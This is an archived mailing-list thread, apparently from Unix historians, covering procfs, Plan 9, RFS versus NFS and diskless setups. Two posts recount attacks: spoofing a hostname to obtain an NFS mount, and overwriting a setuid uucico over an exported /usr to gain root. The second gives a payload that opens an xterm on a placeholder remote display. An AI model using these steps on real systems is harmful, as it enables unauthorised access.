Has FreeBSD lost the ability to do unattended PXE installs? Certainly this capability was there in the old sysinstall installer, and I used it extensively back in the FreeBSD-3 through FreeBSD-6 days. My personal preference is still for FreeBSD, and it's what I use on my personal desktops, laptops, and most servers. Most of my professional experience has been with Redhat Linux. During the dot-com era, I found Linux to be disappointing (relative to BSD), but it's obviously caught up by this point, and I think it's a fine choice. I tried hard to like Mac OSX. On paper, it seemed like the ideal thing: a real unix kernel (well, sort of...) married to a "real" UI. But in practice, I've found it hugely disappointing. My main complaint is that the interfaces have been so unstable. "It's just unix; you configure it by just editing files! Oh, except that we decided to switch all the apps to reading this NetInfo database, we just left the flat files in /etc for... reasons... but all shipped software ignores them. Wait, did I say NetInfo? I meant OpenDirectory." It felt like important interfaces were changing practically with every version, and not updating was, of course, not an option. And then there was the whole Darwin v. OpenDarwin debacle and the basically fake approach to being open source. It eventually became clear to me that Apple's intention was that users should never look under the hood nor tinker with the system. And since looking under the hood and tinkering are kind of _sine qua non_ for me for an operating system, I stopped using it. -Jason

On 23 September 2017 at 10:17, Dario Niedermann <dario(a)darioniedermann.it> wrote: procfs still exists in FreeBSD and can be added to fstab but isn't mounted by default after an install. Generally the BSDs (and OS X) don't seem to actively maintain procfs and it has been remove from OpenBSD. -- 4096R/EA75174B Steve Mynott <steve.mynott(a)gmail.com>

On Sat, 23 Sep 2017, Dario Niedermann wrote: Doesn't "ps" use it? Quicker than digging around /dev/kmem, surely? I *like* /proc :-) -- Dave Horsfall DTM (VK2KFU) "Those who don't understand security will suffer."

On Sat, 23 Sep 2017, Random832 wrote: I've just been introduced to sysctl(3) -- thanks :-) -- Dave Horsfall DTM (VK2KFU) "Those who don't understand security will suffer."

ptrace replaces procfs? Wow, that's a disappointing turn of events. It's also against the flow of thought in the Unix community I knew in 1980. If somebody has any of the old ca-1980 BSD manuals, you should find a BUGS section on ptrace advocating a move to a file-system-like interface. I always assumed ken wrote that little note when he was visiting UCB -- anybody know? Plan 9 implements process debug via /proc, and several debuggers use that interface -- including, in harvey, gdbstub so we can remote gdb processes. I also implemented an strace-like command by extending /proc/pid/ctl with a few extra commands. In so doing, I made it possible to write strace with a shell script, which was kind of fun. I always felt the /proc/pid/ctl model in Plan 9 implemented what we hoped to see implemented in Unix to replace ptrace. ptrace, even the new ones, are clunky in the best times. The file system model is powerful. The strace based on /proc was a few dozen lines. On Sun, Sep 24, 2017 at 6:47 AM Andy Kosela <akosela(a)andykosela.com> wrote:

On Sun, Sep 24, 2017 at 07:06:17AM -0700, Larry McVoy wrote: The usual rationale presented is that someone can exhaust the fd table and then you can't get anything done. Instead of fixing that problem, the popular approach is to add more syscalls, like with getrandom(2). khm

On Sun, 24 Sep 2017, Bakul Shah wrote: Whatever happened to the Unix philosophy of everything looking like a file? Adding more system calls is the Windoze (or perhaps Penguin) way of doing things. -- Dave Horsfall DTM (VK2KFU) "Those who don't understand security will suffer."

I once thought of developing a computer where everything from the core functions to the peripherals was a network node. In effect replacing the bus. I found references to a Cambridge U (UK) computer system that purported to do just that but couldn't find any more info on it. Your idea sounds like an extension of Oberon, from what I can remember of reading Wirth's book on the Oberon OS in the nineties. You should give it a go. Wesley Parish Quoting Steve Nickolas <usotsuki(a)buric.co>: "I have supposed that he who buys a Method means to learn it." - Ferdinand Sor, Method for Guitar "A verbal contract isn't worth the paper it's written on." -- Samuel Goldwyn

Yes. I thought it made a lot of sense. Quoting Tony Finch <dot(a)dotat.at>: "I have supposed that he who buys a Method means to learn it." - Ferdinand Sor, Method for Guitar "A verbal contract isn't worth the paper it's written on." -- Samuel Goldwyn

So maybe Ron Minnich will remember this. Back in the days of 10Mbit ethernet I was pushing for 100Mbit. Part of what I wanted was ethernet all the way out to the disk drives. It was a little ahead of its time, the idea was to run Linux on the general purpose processor and be able to send the questions to the drive rather than slurping all the data across and pawing through it on the main CPU. That was part of the idea, the other part was power over ethernet and you need more space? Just plug in a drive. It's been over 20 years since I proposed that and things are starting to look up a little. Western Digital made a version of what I wanted, an ethernet attached drive with a key/value store on the drive. Not quite there but closer. And I just stumbled across this: https://en.wikipedia.org/wiki/Data_center_bridging Not sure how well that will work but it's interesting that people are working on it. On Tue, Sep 26, 2017 at 01:42:43PM +1300, Wesley Parish wrote: -- --- Larry McVoy lm at mcvoy.com http://www.mcvoy.com/lm

On Tue, Sep 26, 2017 at 11:34 AM, Bakul Shah <bakul(a)bitblocks.com> wrote: AoE: All the quality you'd expect from low end ATA drives couple with all the reliability of low-end consumer grade ethernet. What could go wrong? AoE really punted on all the reliability stuff, so if you have any kind of congested network it's a total disaster. Plus, who doesn't want to access storage via an arcane protocol designed so you could latch registers effective, but not so you can encode requests so. Sorry for the rant, but I've had to deal with too much low-end gear recently and it makes me grumpy and AoE back in the early 2000's was a total S***show of low-end, poor quality implementations.... Warner

On Tue, Sep 26, 2017 at 10:34:19AM -0700, Bakul Shah wrote: Didn't know that, do now, thanks. Very cool and pretty much what I was asking for 20+ years ago. Ya gotta be patient I guess :) Yeah, the old school people want their comfort zone, I'm also not so sure that FCoE is such a good idea.

FWIW, I got the idea from finding out what SCSI was supposed to be - a set of devices with everything on the same level as a node, controller included. I was reading Tanenbaum's Minix book at the time and liked the idea of everything as a file, so "everything as a file" and "every device as a node" just clicked as ideal complements - with "everything designed to do one thing (only) and do it well" being self-evident, or so I thought. Nanokernels in every device, naturally, with some form of authentication being one of the few things built-in, was something else I considered self-evident. I've thought a lot of things self-evident. :) FWLIW :) Wesley Parish Quoting Larry McVoy <lm(a)mcvoy.com>: "I have supposed that he who buys a Method means to learn it." - Ferdinand Sor, Method for Guitar "A verbal contract isn't worth the paper it's written on." -- Samuel Goldwyn

On Sun, Sep 24, 2017 at 7:36 PM, Dave Horsfall <dave(a)horsfall.org> wrote: This is an interesting point (and I think TUHS relevant): I've long held that the powers-that-be in what has become the "Unix" world have no more than a cursory interest in the Unix philosophy. The reasons for this are many. Part of it is lack of exposure to any other way of doing things (in particular, lack of exposure to a canonically Unix way of doing things). I've lost track of the number of people I've tried to show Plan 9-ish ways of doing things to and the pushback I've gotten: "Filesystems?! That'll NEVER work!" "But look...it's working right here." "Bah. That's just some goof-ball research toy." Grrr.... Part of it is that the problems have shifted out from underfoot: Unix was created in a place and at a time where a certain class of problem was important; it solved those sorts of problems (and did damn well at doing so). And while many of those problems are still important today, entirely new classes of problems are also (if not more) important these days and Unix did not grow to gracefully accommodate those problems. Maybe those problems shouldn't matter, but they do; oh well. The irony, of course, is that Unix basically "won". It's just that it had to stop being Unix to do so. "He who stares into the abyss...." - Dan C.

On Mon, 25 Sep 2017 09:36:44 +1000 Dave Horsfall <dave(a)horsfall.org> wrote: Dave Horsfall writes: I am afraid people paid lip service to this but not much changed in this regard at least in the BSD world. Look at all the new things done since V7. devfs came in freeBSD 5.0. Other filesystems were for files or were added based on what Linux did. "portal" fs was going to be added but I don't even remember what the point of it was any more. Unionfs was far more complicated than in plan9 (more useful but also mainly for files). VFS itself is too storage file centric. /proc came in too late and it only helped with processes. sysctl allowed access to other kernel stuff as well. ptrace & grubbing around in kernel memory has existed from much earlier time. I think a few changes can make Unix much more plan9 like. Things like: file descriptors are actually capabilities (or handles, for short) and each process starts with a set of handles and it can only reach those resources that its handles allow. It can also gain new handles via operations on existing handles. Right here you can see that a process is already sandboxed. You don't need containers or jails! Next use plan9's 9p or something like it. The point of "everything is a file" is to provide a discipline -- as opposed providing an open ended object or class based system. Once you do that, user level fiesystems are a hop, skip and a jump away. But there would be no point in doing this unless you also revamp a bunch of system utilities.

I have known about capsicum (& have been a fan of capabilities since late 70s - even used a form of them in my last job!) but my point was to suggest unix kernel simplification and something like that may fall out naturally rather than having to be bolted on. Rather than write an OS from scratch, incrementally evolve what works. Writing something from scratch is always easier but you also end up relearning the same lessons + much harder to get acceptance. But an embrace and extend model ala C to C++ or what GNU programs have done stands a better chance. Except that I’m suggesting “extending” by simplifying!

Where does SysVR2 fit in number of syscalls? I spent time patching them several months ago... Sent from my iPhone

On Mon, 25 Sep 2017, Andy Kosela wrote: If I were designing an OS, only the bare minimum number of system calls would be implemented in the kernel (stuff like open, close, seek, read, write, and create/kill process) and everything else would be implemented in library... I don't know how that would stack up against Unix in the day, or *x these days, but I daresay it probably would have fewer system calls than MS-DOS 2.0. -uso.

On 9/25/17, Steve Nickolas <usotsuki(a)buric.co> wrote: That's basically the way the OS I'm writing will work. Actually it will go further than that. It will be microkernel-based, with read, seek, write, fcntl, and a function for servers to return an error status (there will also be a "clunk" message type but it will only be generated by the VFS when the last process closes a file and won't have a corresponding function) as the only true primitives. There will be a couple extra variants of read and write that map onto L4 IPC more closely, although they will interoperate with the traditional versions. open, close, stat, unlink, fork, _exit, some pthreads-related functions, and several other (mostly file-related) functions will appear to be primitives although they will be implemented as RPC messages over a permanently-open anonymous FD (connected to the process server, which will implement memory/process management, the basic VFS, procfs, and a few variants of in-memory filesystems). All other "system calls" will be implemented on top of the normal filesystem (signals, security, and process state stuff will use procfs).

BTW the time it was added (4.4), most of the tools did not use it. Which was sad... and Ron points out. On Sun, Sep 24, 2017 at 11:26 AM, Christian Barthel <bch(a)online.de> wrote:

Where does RFS (AT&T System III) fit in all of this? I used it for a while between a SunOS 4.1.3 box and a PC running AT&T SVR4.2 (Consensys) because the client-side NFS was buggy on the SVR4.2 side. This was in the days when I ran a UUCP node (kilowatt) in the early 90's and needed access from the PC to the "large" (5.25" FH 1GB) disk on the SunOS machine. It worked, that I can say. Eventually, I swapped it around after getting an Adaptec SCSI controller for the PC - turned out the server-side NFS on this particular SVR4.2 was fine. Just looking for history on RFS if any. thanks! On 9/24/2017 1:33 PM, Clem Cole wrote:

On 9/24/2017 3:54 PM, Clem Cole wrote: Sorry, Clem, it was System V R3 - I read this, and then misspoke: https://en.wikipedia.org/wiki/Remote_File_Sharing

On Sun, Sep 24, 2017 at 6:08 PM, Arthur Krewat <krewat(a)kilonet.net> wrote: ​Similar -- I think of function shipping are the technique of sending computation to the data rather than marshaling together/bringing the data to the computation. ​

On 9/27/2017 4:44 AM, arnold(a)skeeve.com wrote: Not true, sorry ;) The host irises was my SunOS machine that I used for USENET news because it had 1GB SCSI disk on it. The host kilowatt was the modem front-end for my BBS and did all the UUCP processing. I was ...!mcdhup!kilowatt in the early 90's. RFS was included with SunOS 4.1.3 that I installed on irises. See below, motd shows SunOS release, and /usr/etc/mount* are all dated the same day, so it was installed from the SunOS 4.1.3 distribution at the time of initial install. From my archives: medusa# pwd /export/archive/tapes/irises.3/a2 medusa# cat etc/motd SunOS Release 4.1.3 (IRISES) #4: Sun Mar 6 15:14:38 EST 1994 This is irises, a sister to kilowatt. It is a Sun Sparc IPC. I hope to move to this platform in the near future, but for now, it has to be a conglomerate. medusa# ls -l usr/etc/mount* -rwxr-xr-x   1 root     staff     163840 Jul 23  1992 usr/etc/mount -rwxr-xr-x   1 root     staff      16384 Jul 23  1992 usr/etc/mount_hsfs -rwxr-xr-x   1 root     staff      16384 Jul 23  1992 usr/etc/mount_lo -rwxr-xr-x   1 root     staff      16384 Jul 23  1992 usr/etc/mount_pcfs -rwxr-xr-x   1 root     staff      65814 Jul 23  1992 usr/etc/mount_rfs -rwxr-xr-x   1 root     staff      57344 Jul 23  1992 usr/etc/mount_tfs -rwxr-xr-x   1 root     staff      16384 Jul 23  1992 usr/etc/mount_tmp

On Wed, Sep 27, 2017 at 11:44 AM, <arnold(a)skeeve.com> wrote: ...and to this day, even the Linux errno.h carries such gems as EDOTDOT, described as "RFS specific error"... Speaking of which, I've been meaning to ask – what was the original meaning of such errnos as EL2HLT or ENOANO? (And, well, the remaining few dozen of them?) I've figured out a few, but gave up on some. -- Mantas Mikulėnas <grawity(a)gmail.com>

On Wed, Sep 27, 2017 at 7:01 PM, Kevin Bowling <kevin.bowling(a)kev009.com> wrote: ​Sun pretty much gave it away. It was simple and 'good enough.' The Issue was it not a real UNIX file system and did not support full UNIX semantics. For a lot of things (like program development) that was usually ok. It also exposed a lot a issues in user code - things like programs that never bothered to check for errors returns (like fclose). So bad things happened for a long time in a lot of code (silent holes in your SCCS files that did get detected until months later). But to Sun and NFS's credit, it solved a problem that was there and was cheap and so folks used it. Clem

I'll weigh on this since my office mate at Sun was the Sun RFS guy (Howard Chartok, great guy, Mr swapfs, I still remember a long discussion we had outside of Antonio's nuthouse in Palo Alto about how to tie different swap files to process groups so we could do better at pagin/pageout, but I digress. I should write up that discussion though, it's still useful today). passed structs in binary across the wire. NFS was based on Sun's RPC stuff that marshalled and unmarshalled the data. So it worked with little ints and big ints and Intel byte order and everyone else's byte order. RFS not so much. The RPC stuff is actually pretty sweet, I built something I called RPC vectors on top of it, Ron will remember that, but I digress again. It's important to note, when talking about NFS, that there was Sun's NFS and everyone else's NFS. Sun ran their entire company on NFS. /usr/dist was where all the software that was not part of SunOS lived, it was an NFS mounted volume (that was replicated to each subnet). It was heavily used as were a lot of other things. The automounter at Sun just worked, wanted to see your buddies stuff? You just cd-ed to it and it worked. Much like mmap, NFS did not export well to other companies. When I went to SGI I actually had a principle engineer (like Suns distinguished engineer) tell me "nobody trusts NFS, use rcp if you care about your data". What. The. Fuck. At Sun, NFS just worked. All the time. The idea that it would not work was unthinkable and if it ever did not work it got fixed right away. Other companies, it was a checkbox thing, it sorta worked. That was an eye opener for me. mmap was the same way, Sun got it right and other companies sort of did. On Wed, Sep 27, 2017 at 04:13:07PM -0700, Kevin Bowling wrote: -- --- Larry McVoy lm at mcvoy.com http://www.mcvoy.com/lm

On Wed, Sep 27, 2017 at 11:19:49PM -0400, Theodore Ts'o wrote: No, the problem was that people didn't understand open to close semantics. Sun was actually an engineering organization that took the rules seriously. You know, stuff like sync writes actually need being sync in order to get the semantics right.

On 9/28/2017 10:12 AM, Steve Johnson wrote: Speaking of Bill Joy, I remember going to a Unix group meeting at SRI sometime in late 1977 or early 1978. I was working for Ford Aerospace, an early commercial Unix adopter. I don't remember who was speaking, but at the end of the talk somebody from the back of the auditorium asked a very deep intelligent question. The person speaking was quite taken back by the quality of the question, and asked who the person was. The person said "I'm Bill Joy, a graduate student at Berkeley". The rest is history. Jon

I seem to remember it supported remote devices including tape drives. Never was lucky enough to have hardware to run it. Later, the wife had a 3b2... I never had any way to talk to it beyond uucp. Bill -----Original Message----- From: Dave Horsfall <dave(a)horsfall.org> To: The Eunuchs Hysterical Society <tuhs(a)tuhs.org> Sent: Wed, 27 Sep 2017 8:54 PM Subject: Re: [TUHS] RFS was: Re: UNIX of choice these days? On Wed, 27 Sep 2017, Kevin Bowling wrote: Didn't it support remote devices? Or am I thinking of something else? -- Dave Horsfall DTM (VK2KFU) "Those who don't understand security will suffer."

On Thu, Sep 28, 2017 at 07:49:17AM -0600, arnold(a)skeeve.com wrote: I'd argue that stateful is really hard to get right when machines panic or reboot. Maybe you can do it on the client but how does one save all that state on the server when the server crashes? NFS seems simple in hindsight but like a lot of things, getting to that simple wasn't chance, it was designed to be stateless because nobody had a way to save the state in any reasonable way.

On Thu, Sep 28, 2017 at 08:28:08AM -0600, arnold(a)skeeve.com wrote: That other post that had a link to a post from Rick Macklem tickled my memory so I went looking. He wrote this: https://docs.freebsd.org/44doc/smm/06.nfs/paper.pdf which included some of what Clem has hinted at (I think). Did this stuff ever go anywhere? Is it BSD only? Abandoned or what? --lm

On Thu, Sep 28, 2017 at 9:49 AM, <arnold(a)skeeve.com> wrote: ​Right -- and full POSIX FS system semantics. Everything worked as you expected - no surprises. ​Yup - Peter used a very simple function shipping model in Eighth edition and Dave did the same with RFS. With Plan8 they got more sophisticated. Plan8 and EFS were more similar in that aspect.​ The other thing RFS did not have 'out of the box' was a 'diskless.' Truth is that an Sun-3 running 'diskless' != as an Apollo running 'twinned.' [There is a famous Clem' story I'll not repeat here from Masscomp about a typo I made, but your imagination would probably be right - when I refused to do build a diskless system for Masscomp].... But 'diskless' was the worlds sleaziest 'add-in' disk business and Sun sold a ton of systems. People were not going to toss out their diskless system when they discovered the performance sucked. The bought a disk for them (even though a Masscomp or an Apollo with a disk was cheaper to start). [It was brilliant marketing on Sun's part... It was the #1 thing that made Sun succeed early on. NFS and the low end entry system made Sun .. they nailed it.] ​The funny part was the SVR3 was the 'final' license most of the vendors used (IBM, HP, DEC) when it was done. IBM and HP both bought it out. DEC never did, although DEC shipped Tru64 on an SVR3 license. Sun bought out an SRV4 license but that was different.​ ​The suite was only part of the issue, there were other terms that AT&T back-ed off, when IBM, HP et al pushed back. They all have System-III licenses, AT&T really wanted to move them to SVR3 licenses. ​I agree - it was a sad, sad time. It was 'who was going to control this' issue.​ None of them could see, the tighter the grabbed, the less control they had and more the seeded control the Microsoft. As you said, sad, sad, time... ​Hmm... I'm not so sure. If RFS had come out before NFS, maybe. But NFS took root and was cheap and easy and good enough for what people needed to do most everything. That was what made it a brilliant solution. I admire Kleiman for find the hole and doing such a good job of filling it. In many ways, Dave did 'more' with RFS but it was 'harder' to in a number of different ways to consume (both technical and political)

On Fri, Sep 29, 2017 at 08:08:16AM +1000, Dave Horsfall wrote: I dunno why all the hating on diskless. They actually work, I used the heck out of them. For kernel work, stacking one on top of the other, the test machine being diskless, was a cheap way to get a setup. Sure, disk was better and if your work load was write heavy then they sucked (*), but for testing, for editing, that sort of thing, they were fine. --lm (*) I did a distributed make when I was working on clusters. Did the compiles on a pile of clients, all the data was on the NFS server, I started the build on the NFS server, did all the compiles remotely, did the link locally. Got a 12x speed up on a 16 node + server setup. The other kernel hacks were super jealous. They were all sharing a big SMP machine with a Solaris that didn't scale for shit, I was way faster.

On Thu, Sep 28, 2017 at 03:20:56PM -0700, Larry McVoy wrote: My main work setup today is actually a diskless (X11-less) OpenBSD system. It's just something I set up in a VM environment to learn how to do it (I'm on a work laptop running Windows 10, as I need Windows for some few work-related tasks), but it works just fine and I have no reason to change it. For one thing, it makes backups easier as they can run locally on the server. At some point I hope to buy I smaller dedicated server to run the NFS server (and mail, etc.) but I see no real reason not to keep running the diskless client in a VM on my laptop. Heck, then I might even be able to netboot the laptop itself without disturbing the Windows system on it at all... OpenBSD has this "dpb" thing ("distributed ports builder", /usr/ports/infrastructure/bin/dpb, http://man.openbsd.org/dpb) that does distributed building of 3rd-party packages. It does exactly this, sharing the sources over NFS. Cheers, -- Andreas Kusalananda Kähäri, National Bioinformatics Infrastructure Sweden (NBIS), Uppsala University, Sweden.

On 09/29/2017 02:59 AM, Andreas Kusalananda Kähäri wrote: I think you're the first person that I've seen say "I am" and not "I used to" regarding diskless. Can I ask for a high level overview of your config? I am guessing dhcp and / or bootp, combined with tftp for kernel image, and NFS for root. Interesting. -- Grant. . . . unix || die

On 09/29/2017 10:02, Kurt H Maier wrote: I had a similar setup at a large special effects studio I used to work at. We were trying solve NFSv3 contention issues - especially with large directory tree's creating tons of metadata requests on Linux (issue with client side caching IIRC) so we experimented with using UnionFS to allow for writes to pass-through to local disk.  It was mostly intermediary data and initial testing was promising, in that it alleviated the load on our filers and seemed to speed up some rendering processes. I had left before it made it to wide deployment - but it is something I've kept in my toolbox since then as an option. -pete -- Pete Wright pete(a)nomadlogic.org @nomadlogicLA

On Fri, Sep 29, 2017 at 10:46:16AM -0600, Grant Taylor wrote: Nothing fancy. OpenBSD's dhcpd on a server tells the client to pick up pxeboot (2nd stage bootstrap) tftp from my file server. pxeboot then loads the kernel over tftp. The bootparamd daemon on the fileserver provides info to the client regarding its root directory and swap file, and the client mounts these over NFS. It follows http://man.openbsd.org/diskless closely. -- Andreas Kusalananda Kähäri, National Bioinformatics Infrastructure Sweden (NBIS), Uppsala University, Sweden.

On 29 Sep 2017, at 17:22, George Ross <gdmr(a)inf.ed.ac.uk> wrote: The issue we (initially) had with Suns wasn't the stateful/stateless debate, or indeed that they were discless. It was that horrible "UNIX authentication" that NFS used. When I was a summer intern at Sun in ’87, it was common knowledge among the staff that anyone could find out what hosts an NFS file server trusted by using tftp, which was installed by default, and anonymously grabbing /etc/exports (or guessing hostnames if you can’t get the definitive list). Then you just go “hostname trusted-hostname ; mount -t nfs sever:/dir ; hostname original-hostname” to mount that file system. That’s right: the NFS server TRUSTED the NFS client to tell it what it felt like its hostname should be at that particular instant in time!!! If the name the client sent in the parameter to the mount rpc call was listed in /etc/exports, then the server returned a file handle to the client for it to use from then on, even after changing its hostname back! I was able to nfs-mount a directory on one of cs.cmu.edu's servers from sun.com’s network with no problem. Ron may remember me warning him about that! -Don

There was also a horrible bit of backdoor-ism that was exploitable with NFS on SunOS - and was there for at least 4.1.3 but I imagine it was around for a long time. If the /usr filesystem was exported, and you were either a "known host" or it was exported to (everyone) (and yes, there were a LOT of people that did this)... Mount it locally, become root, su - uucp, and go and change the mode on /usr/lib/uucp/uucico (which was owned by uucp) from setuid to writable. Overwrite with your binary or script of choice. Telnet to the exploited host, and /usr/lib/uucp/uucico was executed as root. I usually used: #!/bin/sh /usr/openwin/bin/xterm -display <myhost>:0 I used this on a WAN back in the 90's - actually to reset a lost root password for someone, but also to poke around sometimes ;) I don't know why people exported /usr - but they did it a lot. On 9/29/2017 2:40 PM, Don Hopkins wrote:

There were some interesting followup from Milo Medin, Jordan Hubbard and from Dennis Perry on the h_g/tcp-ip mailing lists: From: Milo S. Medin &lt;medin(a)orion.arpa&gt; Actually, Dennis Perry is the head of DARPA/IPTO, not a pencil pusher in the IG's office. IPTO is the part of DARPA that deals with all CS issues (including funding for ARPANET, BSD, MACH, SDINET, etc...). Calling him part of the IG's office on the TCP/IP list probably didn't win you any favors. Coincidentally I was at a meeting at the Pentagon last Thursday that Dennis was at, along with Mike Corrigan (the man at DoD/OSD responsible for all of DDN), and a couple other such types discussing Internet management issues, when your little incident came up. Dennis was absolutely livid, and I recall him saying something about shutting off UCB's PSN ports if this happened again. There were also reports about the DCA management types really putting on the heat about turning on Mailbridge filtering now and not after the buttergates are deployed. I don't know if Mike St. Johns and company can hold them off much longer. Sigh... Mike Corrigan mentioned that this was the sort of thing that gets networks shut off. You really pissed off the wrong people with this move! Dennis also called up some VP at SUN and demanded this hole be patched in the next release. People generally pay attention to such people. From: Jordan K. Hubbard &lt;jkh(a)violet.berkeley.edu&gt; Well, I hope Sun patches the holes, Milo. I'm sorry that certain people chose to react as strongly as they did in our esteemed government offices, but I am glad that it raised enough fuss to possibly get the problem fixed. No data was destroyed, lost, or infiltrated, but some people got a whack on the side of the head for leaving the back door open. I'm not sure I can say that I'm all that sorry that this happened. rwall is certainly going to change on my machines, I can only hope that people concerned about being rwall'd over the net will tighten up their RPC. Those that don't care, should at least be aware of it. From: Dennis G. Perry &lt;PERRY(a)vax.darpa.mil&gt; Jordan, you are right in your assumptions that people will get annoyed that what happened was allowed to happen. By the way, I am the program manager of the Arpanet in the Information Science and Technology Office of DARPA, located in Roslin (Arlington), not the Pentagon. I would like suggestions as to what you, or anyone else, think should be done to prevent such occurances in the furture. There are many drastic choices one could make. Is there a reasonable one? Perhaps some one from Sun could volunteer what there action will be in light of this revelation. I certainly hope that the community can come up with a good solution, because I know that when the problem gets solved from the top the solutions will reflect their concerns. Think about this situation and I think you will all agree that this is a serious problem that could cripple the Arpanet and anyother net that lets things like this happen without control. dennis ——— From: Jordan K. Hubbard &lt;jkh(a)violet.berkeley.edu&gt; Dennis, Sorry about the mixup on your location and position within DARPA. I got the news of your call to Richard Olson second hand, and I guess details got muddled along the way. I think the best solution to this problem (and other problems of this nature) is to tighten up the receiving ends. Assuming that the network is basically hostile seems safer than assuming that it's benign when deciding which services to offer. I don't know what Sun has in mind for Secure RPC, or whether they will move the release date for 4.0 (which presumably incorporates these features) closer, but I will be changing rwalld here at Berkeley to use a new YP database containing a list of "trusted" hosts. If it's possible to change RPC itself, without massive performance degradation, I may do that as well. My primary concern is that people understand where and why unix/network security holes exist. I've gotten a few messages from people saying that they would consider it a bug if rwall *didn't* perform in this manner, and that hampering their ability to communicate with the rest of the network would be against the spirit of all it stands for. There is, of course, the opposite camp which feels that IMP's should only forward packets from hosts registered with the NIC. I think that either point of view has its pros and cons, but that it should be up to the users to make a choice. If they wish to expose themselves to potential annoyance in exchange for being able to, uh, communicate more freely, then so be it. If the opposite is true, then they can take appropriate action. At least an informed choice will have been made. Yours for a secure, but usable, network. From: Dennis G. Perry &lt;PERRY(a)vax.darpa.mil&gt; Jordan, thanks for the note. I agree that we should discover and FIX holes found in the system. But at the same time, we don't want to have to shut the thing down until such a fix can be made. Misuse of the system get us all in a lot of trouble. The Arpanet has succeeded because of the self policing community. If this type of potential for disruption gets used by very many people, I guarentee that we all will not like the solution or fix proposed. dennis ———

On Fri, Sep 29, 2017 at 03:19:19PM -0400, Dan Cross wrote: That's how Sun ran their engineering setup by default. Your home directory was on some file server and that's where you put long lived stuff or stuff you wanted other people to see. The local disks were for performance and were optional. You could do the same thing diskless for an admin and they were perfectly happy. I did more or less the same thing for 20 years at BitMover, worked great.

On Sat, 23 Sep 2017, Dario Niedermann wrote: When did this happen? aneurin% uname -a; df FreeBSD aneurin.horsfall.org 10.3-RELEASE-p20 FreeBSD 10.3-RELEASE-p20 #0: Wed Jul 12 03:10:26 UTC 2017 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC i386 Filesystem 1K-blocks Used Avail Capacity Mounted on /dev/ad0s1a 507630 284674 182346 61% / devfs 1 1 0 100% /dev tmpfs 1007912 60 1007852 0% /tmp /dev/ad0s1d 3045006 1351324 1450082 48% /usr /dev/ad0s1e 1012974 811120 120818 87% /var /dev/ad0s1f 4058062 972216 2761202 26% /home /dev/ad0s1g 9287662 6538598 2006052 77% /usr/local fdescfs 1 1 0 100% /dev/fd procfs 4 4 0 100% /proc Notice the last entry... -- Dave Horsfall DTM (VK2KFU) "Those who don't understand security will suffer."

On Wed, 20 Sep 2017, Arthur Krewat wrote: Yeah, I clearly wasn't using that definition in my reply ;) I'm pro-Linux (Linux as Linux, GNU is another matter), but "Linux Is Not UniX", and I don't even consider any of the BSDs that (I'm even loath to call OSX that and it's trademark-compliant!). But that's just me. :P To me "Unix" means either an ancestral AT&T variety, or a SysV derivative. -uso.

On 9/20/2017 1:53 PM, Henry Bent wrote: Don't make me cry in my coffee :( Personally, I'll either run with it for as long as I can and deal with it, and hope that Oracle at least releases the last ZFS so it can be incorporated somewhere, or go back to FreeBSD which I used to run before Solaris X86 was available to me as Solaris 7, and use the earlier version of ZFS. Professionally, there's only Linux now - I'll use Oracle Linux for servers with Oracle products on them, but even then, I'm not liking the NUMA support.

On 20 September 2017 at 14:33, Brad Spencer &lt;brad(a)anduin.eldar.org&gt; wrote: I ran NetBSD at home for over fifteen years until last year, on both a disk server and a workstation, and usually on whatever odd hardware came my way. For the most part it was extremely clean and efficient, but at some point I realized that for amd64 hardware there was a real lack of performance as compared to Linux. NetBSD is wonderful for running on older or exotic hardware when performance is not the #1 consideration, and as far as I know the networking stack is still among the best, but for a day to day workstation it just wasn't able to cut it anymore. -Henry

Been on MacOS + SmartOS for DayJob + home since 6 years (actually migrated from Linux to SmartOS for measurable performance gains and containers model). Pretty happy sailing other than having to modify a lot of Chef recipes to accommodate different paths... New day job is Gnu/Linux, boring as that may seem.. But they offered remote, so, you know.. Oh, and also, FreeBSD for the Raspberry Pis. Has native zfs! thx jake On Wed, Sep 20, 2017 at 3:37 PM, Arthur Krewat &lt;krewat(a)kilonet.net&gt; wrote:

On Wed, Sep 20, 2017 at 4:29 PM, Ian Zimmerman &lt;itz(a)very.loosely.org&gt; wrote: I thought FreeBSD had pi3 -current snapshots... If not, a custom image with NanoBSD or crochet isn't hard to knock together. Warner

Ian Zimmerman writes: Built a small daughter board with a few solid-state relays that plugs in to a Raspberry Pi. It does a few things for me... I don't like to keep the ski cabin machine powered up when not in use. Especially you Californians will be pissed at this but the cost of electricity at the ski cabin is something like 8x what I pay at home. Of course, that's probably on par with what you pay; at home I'm on a public utility district that buys directly from BPA. Also, I'm just one of those weird environmental types who turns off the lights when I leave a room so I don't want to be burning a power 24x7 for no reason. Also, while that machine is on a UPS, power up there is pretty flakey when the storms rage. So I couldn't count on the machine staying on. The Pi pings a dynamic DNS server so that I can find the machine. It also lets me know when the internet connection up their dies so that I can call CenturyLink. Unsurprisingly, their customer service number is identical to that of Dell and Verizon: the Oregon Department of Justice. One of the solid-state relays on the Pi is connected to the power switch on the bigger computer so that I can power it up from remote. Another is on the rest switch in case things go really weird and I can't power things down. That has never happened but it's just in case. The last relay is connected to the thermostat. That way, if I decide to go skiing on short notice I can turn the heat on while I'm driving up and it'll be warm when I get there. Oh, don't need satellite. The ski cabin has DSL so I get 10x the service that I get at home for .1x the price. Jon

It seems so that the large majority of us runs Linux, while others run (free)bsd or OSX.

On 09/21/2017 10:38 AM, Mutiny wrote: I wonder how much of this fact is based on the proliferation of cheap (in all senses of the word) x86 hardware vs the availability of hardware to run more traditional Unixes on. I know a couple of guys that would run AIX in a heartbeat if they could for their day to day workstation tasks. -- Grant. . . . unix || die